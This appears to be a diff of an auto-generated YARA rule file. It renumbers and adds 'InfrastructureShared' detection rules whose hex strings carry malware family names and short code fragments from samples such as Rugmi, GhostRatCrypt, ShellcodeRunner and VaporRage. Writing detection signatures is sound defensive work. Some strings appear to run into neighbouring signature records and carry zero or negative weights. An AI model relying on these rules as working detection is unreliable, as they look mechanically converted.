_InfrastructureShared_4657{ ((#a_46_0 & 1)*21283+(#a_5a_1 & 1)*0) >=2 } -rule _InfrastructureShared_4658{ +rule _InfrastructureShared_4851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -48184,7 +50171,7 @@ rule _InfrastructureShared_4658{ ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*25449) >=2 } -rule _InfrastructureShared_4659{ +rule _InfrastructureShared_4852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -48195,7 +50182,7 @@ rule _InfrastructureShared_4659{ ((#a_5f_0 & 1)*25635+(#a_6f_1 & 1)*28530) >=2 } -rule _InfrastructureShared_4660{ +rule _InfrastructureShared_4853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -48207,7 +50194,7 @@ rule _InfrastructureShared_4660{ ((#a_77_0 & 1)*19491+(#a_6f_1 & 1)*24434+(#a_61_2 & 1)*27747) >=2 } -rule _InfrastructureShared_4661{ +rule _InfrastructureShared_4854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -48219,7 +50206,7 @@ rule _InfrastructureShared_4661{ ((#a_72_0 & 1)*22051+(#a_69_1 & 1)*12084+(#a_6f_2 & 1)*21562) >=2 } -rule _InfrastructureShared_4662{ +rule _InfrastructureShared_4855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -48231,7 +50218,7 @@ rule _InfrastructureShared_4662{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*0+(#a_64_2 & 1)*19759) >=3 } -rule _InfrastructureShared_4663{ +rule _InfrastructureShared_4856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -48242,7 +50229,7 @@ rule _InfrastructureShared_4663{ ((#a_54_0 & 1)*18467+(#a_48_2 & 1)*8448) >=3 } -rule _InfrastructureShared_4664{ +rule _InfrastructureShared_4857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -48253,7 +50240,7 @@ rule _InfrastructureShared_4664{ ((#a_54_0 & 1)*18467+(#a_48_2 & 1)*8448) >=3 } -rule _InfrastructureShared_4665{ +rule _InfrastructureShared_4858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -48264,7 +50251,7 @@ rule _InfrastructureShared_4665{ ((#a_54_0 & 1)*18467+(#a_48_2 & 1)*8448) >=3 } -rule _InfrastructureShared_4666{ +rule _InfrastructureShared_4859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -48275,7 +50262,7 @@ rule _InfrastructureShared_4666{ ((#a_54_0 & 1)*18467+(#a_53_2 & 1)*8448) >=3 } -rule _InfrastructureShared_4667{ +rule _InfrastructureShared_4860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -48287,7 +50274,7 @@ rule _InfrastructureShared_4667{ ((#a_46_0 & 1)*21283+(#a_5a_1 & 1)*0+(#a_62_2 & 1)*29295) >=3 } -rule _InfrastructureShared_4668{ +rule _InfrastructureShared_4861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -48299,7 +50286,7 @@ rule _InfrastructureShared_4668{ ((#a_46_0 & 1)*21283+(#a_5a_1 & 1)*0+(#a_6f_2 & 1)*27718) >=3 } -rule _InfrastructureShared_4669{ +rule _InfrastructureShared_4862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -48309,7 +50296,7 @@ rule _InfrastructureShared_4669{ ((#a_4c_0 & 1)*21539) >=4 } -rule _InfrastructureShared_4670{ +rule _InfrastructureShared_4863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -48320,7 +50307,7 @@ rule _InfrastructureShared_4670{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*0) >=4 } -rule _InfrastructureShared_4671{ +rule _InfrastructureShared_4864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -48332,7 +50319,7 @@ rule _InfrastructureShared_4671{ ((#a_54_0 & 1)*18467+(#a_48_2 & 1)*8448+(#a_00_3 & 1)*17230) >=4 } -rule _InfrastructureShared_4672{ +rule _InfrastructureShared_4865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -48344,7 +50331,7 @@ rule _InfrastructureShared_4672{ ((#a_54_0 & 1)*18467+(#a_48_2 & 1)*8448+(#a_28_3 & 1)*4356) >=4 } -rule _InfrastructureShared_4673{ +rule _InfrastructureShared_4866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -48354,7 +50341,27 @@ rule _InfrastructureShared_4673{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_4674{ +rule _InfrastructureShared_4867{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 67 6d 69 2e 48 42 21 4d 54 42 00 05 00 2d 01 8b 55 f8 8b 45 08 03 42 1c 89 45 e4 8b 4d f8 8b 55 08 03 51 24 89 55 e8 8b 45 fc 8b 4d e8 0f b7 14 41 8b 45 e4 8b 4d 08 03 0c 90 8b c1 00 00 78 5a 00 00 05 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=5 + +} +rule _InfrastructureShared_4868{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 6b 72 79 70 74 69 6b 2e 50 47 4b 42 21 4d 54 42 00 05 00 2b 01 65 00 7a 00 42 00 6b 00 59 00 54 00 51 00 35 00 5a 00 54 00 42 00 6b 00 4c 00 54 00 59 00 7a 00 4d 00 32 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_4869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -48364,7 +50371,7 @@ rule _InfrastructureShared_4674{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_4675{ +rule _InfrastructureShared_4870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -48374,7 +50381,7 @@ rule _InfrastructureShared_4675{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_4676{ +rule _InfrastructureShared_4871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -48384,18 +50391,29 @@ rule _InfrastructureShared_4676{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_4677{ +rule _InfrastructureShared_4872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 68 6f 73 74 52 61 74 43 72 79 70 74 2e 47 42 21 4d 54 42 00 0a 00 1a 02 8b 44 24 08 8a 08 02 ca 32 ca 02 ca 32 ca 88 08 40 4e 75 90 01 01 5e c3 90 00 01 00 07 80 01 53 68 65 6c 6c 45 78 } //16675 - $a_5a_1 = {00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 56 61 70 6f 72 52 61 67 65 2e 52 21 64 68 61 00 64 00 26 03 0f b6 12 0f b6 0c 11 01 c8 89 44 24 90 01 01 48 8b 44 24 90 01 01 0f b6 00 b9 00 01 00 00 99 f7 f9 8b 44 24 90 00 00 00 78 5a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 } //0 + $a_5a_1 = {00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 14 01 89 c2 c1 ea 18 25 fe ff 1f 00 8d 84 85 18 01 20 00 3a 10 75 0a 00 17 01 83 e0 7f 8b 51 02 2b 11 0f b7 d2 0f af c2 83 c0 40 c1 f8 07 66 03 01 00 00 78 5a 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 } //0 condition: ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*0) >=11 } -rule _InfrastructureShared_4678{ +rule _InfrastructureShared_4873{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 14 01 89 c2 c1 ea 18 25 fe ff 1f 00 8d 84 85 18 01 20 00 3a 10 75 0a 00 17 01 83 e0 7f 8b 51 02 2b 11 0f b7 d2 0f af c2 83 c0 } //21539 + $a_07_1 = {66 03 01 00 00 78 5a 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 56 61 70 6f 72 52 61 67 65 2e 52 21 64 68 61 00 64 00 26 03 0f b6 12 0f b6 0c 11 01 c8 89 44 24 90 01 01 48 8b 44 24 90 01 01 0f b6 00 b9 00 01 00 00 99 f7 f9 8b 44 24 90 00 00 00 78 5a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 48 75 6e 74 4a 61 63 6b 2e 41 21 64 68 61 00 64 00 08 01 54 38 1b 2f 93 d9 42 e1 64 00 16 01 4b 7a 69 33 39 58 2b 41 6e 6b 32 35 35 46 62 53 75 70 30 52 54 3d 00 00 78 5b 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 44 6f 64 67 79 41 72 74 69 73 74 2e 41 21 64 68 61 00 01 00 28 42 48 b9 } //-16064 + condition: + ((#a_4c_0 & 1)*21539+(#a_07_1 & 1)*-16064) >=25 + +} +rule _InfrastructureShared_4874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -48405,7 +50423,7 @@ rule _InfrastructureShared_4678{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4679{ +rule _InfrastructureShared_4875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -48416,7 +50434,7 @@ rule _InfrastructureShared_4679{ ((#a_46_0 & 1)*16675+(#a_5b_1 & 1)*0) >=200 } -rule _InfrastructureShared_4680{ +rule _InfrastructureShared_4876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48426,7 +50444,7 @@ rule _InfrastructureShared_4680{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4681{ +rule _InfrastructureShared_4877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48436,7 +50454,7 @@ rule _InfrastructureShared_4681{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4682{ +rule _InfrastructureShared_4878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48446,7 +50464,7 @@ rule _InfrastructureShared_4682{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4683{ +rule _InfrastructureShared_4879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48456,7 +50474,7 @@ rule _InfrastructureShared_4683{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4684{ +rule _InfrastructureShared_4880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48466,7 +50484,7 @@ rule _InfrastructureShared_4684{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4685{ +rule _InfrastructureShared_4881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48476,7 +50494,7 @@ rule _InfrastructureShared_4685{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4686{ +rule _InfrastructureShared_4882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48486,7 +50504,7 @@ rule _InfrastructureShared_4686{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4687{ +rule _InfrastructureShared_4883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48496,7 +50514,7 @@ rule _InfrastructureShared_4687{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4688{ +rule _InfrastructureShared_4884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48506,7 +50524,7 @@ rule _InfrastructureShared_4688{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4689{ +rule _InfrastructureShared_4885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48516,7 +50534,7 @@ rule _InfrastructureShared_4689{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4690{ +rule _InfrastructureShared_4886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48526,7 +50544,7 @@ rule _InfrastructureShared_4690{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4691{ +rule _InfrastructureShared_4887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48536,7 +50554,7 @@ rule _InfrastructureShared_4691{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4692{ +rule _InfrastructureShared_4888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48546,7 +50564,7 @@ rule _InfrastructureShared_4692{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4693{ +rule _InfrastructureShared_4889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48556,7 +50574,7 @@ rule _InfrastructureShared_4693{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4694{ +rule _InfrastructureShared_4890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48566,7 +50584,7 @@ rule _InfrastructureShared_4694{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4695{ +rule _InfrastructureShared_4891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48576,7 +50594,7 @@ rule _InfrastructureShared_4695{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4696{ +rule _InfrastructureShared_4892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48586,7 +50604,7 @@ rule _InfrastructureShared_4696{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4697{ +rule _InfrastructureShared_4893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48596,7 +50614,7 @@ rule _InfrastructureShared_4697{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4698{ +rule _InfrastructureShared_4894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48606,7 +50624,7 @@ rule _InfrastructureShared_4698{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4699{ +rule _InfrastructureShared_4895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48616,7 +50634,7 @@ rule _InfrastructureShared_4699{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4700{ +rule _InfrastructureShared_4896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48626,7 +50644,7 @@ rule _InfrastructureShared_4700{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4701{ +rule _InfrastructureShared_4897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48636,7 +50654,7 @@ rule _InfrastructureShared_4701{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4702{ +rule _InfrastructureShared_4898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48646,7 +50664,7 @@ rule _InfrastructureShared_4702{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4703{ +rule _InfrastructureShared_4899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48656,7 +50674,7 @@ rule _InfrastructureShared_4703{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4704{ +rule _InfrastructureShared_4900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48666,7 +50684,7 @@ rule _InfrastructureShared_4704{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4705{ +rule _InfrastructureShared_4901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48676,7 +50694,7 @@ rule _InfrastructureShared_4705{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4706{ +rule _InfrastructureShared_4902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48686,7 +50704,7 @@ rule _InfrastructureShared_4706{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4707{ +rule _InfrastructureShared_4903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48696,7 +50714,7 @@ rule _InfrastructureShared_4707{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4708{ +rule _InfrastructureShared_4904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48706,7 +50724,7 @@ rule _InfrastructureShared_4708{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4709{ +rule _InfrastructureShared_4905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48716,7 +50734,7 @@ rule _InfrastructureShared_4709{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4710{ +rule _InfrastructureShared_4906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48726,7 +50744,7 @@ rule _InfrastructureShared_4710{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4711{ +rule _InfrastructureShared_4907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48736,7 +50754,7 @@ rule _InfrastructureShared_4711{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4712{ +rule _InfrastructureShared_4908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48746,7 +50764,7 @@ rule _InfrastructureShared_4712{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4713{ +rule _InfrastructureShared_4909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48756,7 +50774,7 @@ rule _InfrastructureShared_4713{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4714{ +rule _InfrastructureShared_4910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48766,7 +50784,7 @@ rule _InfrastructureShared_4714{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4715{ +rule _InfrastructureShared_4911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48776,7 +50794,7 @@ rule _InfrastructureShared_4715{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4716{ +rule _InfrastructureShared_4912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48786,7 +50804,7 @@ rule _InfrastructureShared_4716{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4717{ +rule _InfrastructureShared_4913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48796,7 +50814,7 @@ rule _InfrastructureShared_4717{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4718{ +rule _InfrastructureShared_4914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48806,7 +50824,7 @@ rule _InfrastructureShared_4718{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4719{ +rule _InfrastructureShared_4915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48816,7 +50834,7 @@ rule _InfrastructureShared_4719{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4720{ +rule _InfrastructureShared_4916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48826,7 +50844,7 @@ rule _InfrastructureShared_4720{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4721{ +rule _InfrastructureShared_4917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48836,7 +50854,7 @@ rule _InfrastructureShared_4721{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4722{ +rule _InfrastructureShared_4918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48846,7 +50864,7 @@ rule _InfrastructureShared_4722{ ((#a_69_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4723{ +rule _InfrastructureShared_4919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48856,7 +50874,7 @@ rule _InfrastructureShared_4723{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4724{ +rule _InfrastructureShared_4920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48866,7 +50884,7 @@ rule _InfrastructureShared_4724{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4725{ +rule _InfrastructureShared_4921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48876,7 +50894,27 @@ rule _InfrastructureShared_4725{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4726{ +rule _InfrastructureShared_4922{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 41 21 4d 54 42 00 01 00 2e 01 33 c0 c6 41 1d 02 85 d2 89 59 24 c7 41 10 64 00 00 00 0f 44 c6 89 41 20 8a 4d 13 8b 45 d8 88 43 06 8b 45 14 c7 83 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4923{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 41 44 21 4d 54 42 00 01 00 25 01 c7 45 f0 09 00 00 00 c7 45 c8 30 80 40 00 6a 00 68 80 00 00 00 6a 04 6a 00 6a 01 68 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48886,7 +50924,7 @@ rule _InfrastructureShared_4726{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4727{ +rule _InfrastructureShared_4925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48896,7 +50934,7 @@ rule _InfrastructureShared_4727{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4728{ +rule _InfrastructureShared_4926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48906,7 +50944,7 @@ rule _InfrastructureShared_4728{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4729{ +rule _InfrastructureShared_4927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48916,7 +50954,7 @@ rule _InfrastructureShared_4729{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4730{ +rule _InfrastructureShared_4928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48926,7 +50964,7 @@ rule _InfrastructureShared_4730{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_4731{ +rule _InfrastructureShared_4929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48936,7 +50974,7 @@ rule _InfrastructureShared_4731{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4732{ +rule _InfrastructureShared_4930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -48946,7 +50984,7 @@ rule _InfrastructureShared_4732{ ((#a_3a_0 & 1)*19521) >=1 } -rule _InfrastructureShared_4733{ +rule _InfrastructureShared_4931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -48956,7 +50994,7 @@ rule _InfrastructureShared_4733{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4734{ +rule _InfrastructureShared_4932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -48966,7 +51004,17 @@ rule _InfrastructureShared_4734{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4735{ +rule _InfrastructureShared_4933{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 69 70 65 4d 61 67 69 63 2e 42 21 64 68 61 00 01 00 22 01 65 48 8b 04 25 30 00 00 00 4c 8b 40 60 0f b7 c1 8d 0c 40 49 8b 80 f8 00 00 00 c1 e1 03 48 8b 04 01 c3 01 00 06 01 3d 2a 53 59 53 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_4934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -48976,7 +51024,7 @@ rule _InfrastructureShared_4735{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4736{ +rule _InfrastructureShared_4935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -48987,7 +51035,7 @@ rule _InfrastructureShared_4736{ ((#a_54_0 & 1)*18467+(#a_00_1 & 